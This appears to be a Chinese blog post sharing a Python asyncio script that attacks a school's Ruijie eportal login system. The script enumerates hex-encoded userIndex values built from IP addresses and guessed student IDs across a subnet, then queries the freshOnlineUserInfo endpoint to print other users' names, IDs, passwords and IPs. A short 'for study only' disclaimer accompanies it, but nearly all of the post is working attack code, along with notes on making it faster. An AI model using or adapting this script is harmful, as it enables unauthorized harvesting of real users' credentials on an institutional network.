学校 锐捷 userIndex
作者:互联网
想获取点信息 查找发现10.14.1.35 这里登录会返回一个UserIndex
那个数值里面有点信息
仅供学习交流
import asyncio import aiohttp import tqdm class cam_crack(): def __init__(self,ip): self.ip = ip self.task = [] def get_index(self): heade_index = '3833646133666262333035333838633337333832343766303538343866343866' self.ip = '5f3'+'2e3'.join(['3'.join(list(i)) for i in self.ip.split('.')]) sid = '2020990' # 先2w个 for i in range(1,20000): i = str(i) while True: if len(i)<5: i = '0'+i else: break key = '5f3' + '3'.join(list(sid+i)) # parse['userIndex'] = self.task.append(heade_index+self.ip+key) asyncio.run(self.dispose(self.task)) # result = requests.post(url='http://10.14.1.35/eportal/InterFace.do?method=freshOnlineUserInfo',params=parse).json() # if result['userIndex']: # print(result['userId'],result['password'],result['userIp'],result['userName']) # break async def dispose(self,userIndex): tasks = [] async with aiohttp.ClientSession() as session: for i in userIndex: tasks.append(asyncio.create_task(self.get_user(i,session))) await asyncio.wait(tasks) async def get_user(self,userIndex,session): parse = { 'method': 'freshOnlineUserInfo', 'userIndex':userIndex } async with session.post(url='http://10.14.1.35/eportal/InterFace.do',data=parse) as response: result =await response.json(content_type=None, encoding='utf-8') if result['userIndex']: print(result['userName'],result['userId'],result['password'],result['userIp'],result['userIndex']) if __name__ == '__main__': #思路 1得到ip针对破解 #nmap 扫描 # x = cam_crack(f'10.193.90.{i}') # x.get_index() for i in tqdm.trange(1,254): x = cam_crack(f'10.193.0.{i}') x.get_index()
待修复 速度 还有信息可以优化
标签:__,index,join,锐捷,ip,userIndex,学校,import,self 来源: https://www.cnblogs.com/inkser/p/16320466.html